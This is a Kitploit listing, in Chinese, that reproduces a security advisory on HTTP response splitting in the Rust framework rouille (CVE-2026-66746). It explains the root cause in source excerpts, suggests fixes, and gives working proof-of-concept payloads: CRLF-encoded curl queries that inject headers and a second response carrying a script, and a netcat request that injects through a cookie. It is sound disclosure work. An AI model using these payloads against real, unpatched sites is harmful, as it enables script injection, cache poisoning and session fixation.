Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille- — 安全公告:通过未经验证的响应头值实现 HTTP 响应拆分(rouille) | Kitploit
工具/GitHubGitHub/theopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-
漏洞分析代码分析Web应用程序漏洞利用Web安全渗透测试
GitHubtheopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-

CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille-

安全公告:通过未经验证的响应头值实现 HTTP 响应拆分(rouille)

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
21个月前尚未审核
分享

安全公告:未经验证的响应头值导致的 HTTP 响应拆分(rouille)

分配的 CVE ID: CVE-2026-66746

摘要

rouille 在将响应头值写入客户端时,不会检查其中是否包含 回车符或换行符。因此,应用程序若将受攻击者影响的文本 放入响应头值,就会在线路上发出额外的响应头,甚至是 整整第二个 HTTP 响应。

rouille 的两个特性使该漏洞在普通代码中也能触达。Request::get_param 会进行百分号解码,因此查询字符串中的 %0d%0a 会变成真正的 CRLF。 而 session::session 会将客户端自己的 Cookie 值复制到 Set-Cookie 中,完全不做任何校验。

其他广泛使用的 Rust HTTP 栈都在类型层面拒绝了此行为: http::HeaderValue::from_str 对 CR 和 LF 会返回 InvalidHeaderValue, 因此 hyper、axum、actix-web 和 warp 不会以同样方式暴露该问题。

受影响版本

仓库 URL:https://github.com/tomaka/rouille

首个受影响版本0.4.0(2016-12-14),针对下文中的响应头路径
最后受影响版本3.6.2(2023-04-24),即当前发布版
修复版本截至撰写时无修复版本

0.4.0 之前的版本通过另一条未经检查的代码路径发出响应, 因此本公告对它们不做任何断言。路径 B 中所述的 session::session 反射问题自 0.3.2(2016-12-02)起即存在。

严重性

CWE-113(未正确中和 HTTP 头中的 CRLF 序列),是 CWE-93 (CRLF 注入)的一个具体特例。

CVSS 4.0 基础评分 5.3(中危) CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

威胁模型

路径 A 需要一名远程、未认证的攻击者,以及一名会点击攻击者 所提供的链接的受害者。攻击者需要让应用程序将任何源自请求的 字符串放入响应头。重定向到 next 或 return_to 查询参数 是常见场景。

路径 B 仅要求应用程序调用 session::session 并读取会话 ID。 攻击者控制的是自己的 Cookie 头,因此单独来看这属于自伤 行为。当共享缓存存储了被拆分的响应,或与另一种在受害者 浏览器中设置 cookie 的方式结合时,它才会变成针对他人的 攻击。

根本原因

rouille/src/lib.rs 第 624 至 640 行将值直接透传:

root@kitploit:~
624              for (key, value) in rouille_response.headers {
625                  if key.eq_ignore_ascii_case("Content-Length") {
626                      continue;
627                  }
628  
629                  if key.eq_ignore_ascii_case("Upgrade") {
630                      upgrade_header = value;
631                      continue;
632                  }
633  
634                  if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635                  {
636                      response.add_header(header);

Header::from_bytes 只检查字节是否为 ASCII,而 CR 和 LF 都是 ASCII。tiny_http-0.12.0/src/common.rs 第 166 至 172 行:

root@kitploit:~
166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171          let header = HeaderField::from_bytes(header).or(Err(()))?;
172          let value = AsciiString::from_ascii(value).or(Err(()))?;

该值随后在未做任何转义的情况下被写出。 tiny_http-0.12.0/src/response.rs 第 99 至 104 行:

root@kitploit:~
 99      for header in headers.iter() {
100          writer.write_all(header.field.as_str().as_ref())?;
101          write!(&mut writer, ": ")?;
102          writer.write_all(header.value.as_str().as_ref())?;
103          write!(&mut writer, "\r\n")?;
104      }

路径 A:百分号解码的查询参数

Request::get_param 会解码百分号转义,因此调用方会收到真正的 控制字符。rouille/src/lib.rs 第 928 至 932 行:

root@kitploit:~
928              .map(|value| {
929                  percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930                      .decode_utf8_lossy()
931                      .into_owned()
932              })

路径 B:从请求反射的会话 ID

rouille/src/session.rs 在第 59 行从客户端 cookie 中取得键值, 并在第 75 至 81 行将其插入响应头:

root@kitploit:~
 59              key: cookie.into(),
...
 75          let header_value = format!(
 76              "{}={}; Max-Age={}; Path=/; HttpOnly",
 77              cookie_name, session.key, timeout_s
 78          );
 79          response
 80              .headers
 81              .push(("Set-Cookie".into(), header_value.into()));

概念验证

路径 A

步骤 1. 启动一个重定向到查询参数的服务器。

root@kitploit:~
use rouille::Response;

fn main() {
    rouille::start_server("127.0.0.1:8002", |request| {
        let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
        Response::redirect_303(next)
    });
}

步骤 2. 在参数中携带 %0d%0a 发起请求。

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'

结果。X-Injected 作为一个独立的响应头出现:

root@kitploit:~
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0

步骤 3. 将有效载荷延伸到头部末尾之后, 以发出整整第二个响应。

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'

结果。一次请求,两个完整响应。第二个响应携带 攻击者选择的状态行、内容类型和请求体:

root@kitploit:~
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<script>alert(1)</script>

路径 B

步骤 1. 使用文档所示的会话惯用法启动服务器。

root@kitploit:~
use rouille::{session, Response};

fn main() {
    rouille::start_server("127.0.0.1:8006", |request| {
        session::session(request, "SID", 3600, |s| {
            Response::text(format!("session id: {}", s.id()))
        })
    });
}

步骤 2. 发送一个值包含裸 LF 的 cookie。下面的 \n 是单个 换行符,\r\n 是 CRLF。

root@kitploit:~
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006

结果。该值从 Set-Cookie 中逃逸到独立的一行:

root@kitploit:~
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly

路径 B 有三个值得注意的限制。只有裸 LF 能通过,因为 CRLF 会在 tiny_http 中结束头部行,因此客户端或缓存必须将 单独的 LF 视为终止符。注入点之后的所有内容仍携带来自 同一个 format! 的 ; Max-Age=3600; Path=/; HttpOnly 后缀, 因此该原语是带有固定尾部字符串的响应头,而非能够任意 构造的干净响应头。此外,攻击者只能控制自己的 cookie, 而路径 A 完全没有这些限制。

影响

可在源站的安全上下文中执行脚本;共享缓存将注入的响应关联 到受害者的 URL 存储,造成缓存投毒;通过注入的 Set-Cookie 实现会话固定;以及覆盖 CSP 或 CORS 等安全头。由于路径 A 会产生真正的 CRLF,每个客户端和缓存都会据此拆分。

修复措施

在 rouille/src/lib.rs 第 634 行附近,将响应头值交给 tiny_http 之前,在 Server::process 中对其进行校验:

root@kitploit:~
fn header_value_is_safe(v: &str) -> bool {
    !v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}

对整个响应返回 500,而不是丢弃有问题的响应头, 这样失败是可见的,而不是静默地改变响应。

同样在 session::session 中校验会话键:拒绝不符合 [A-Za-z0-9]+ 的 cookie 值,并改为生成新的 ID。在 Response::with_additional_header、with_unique_header 及 redirect_* 构造函数中进行检查,可在调用点暴露该错误, 供应用程序作者采取行动。

下载工具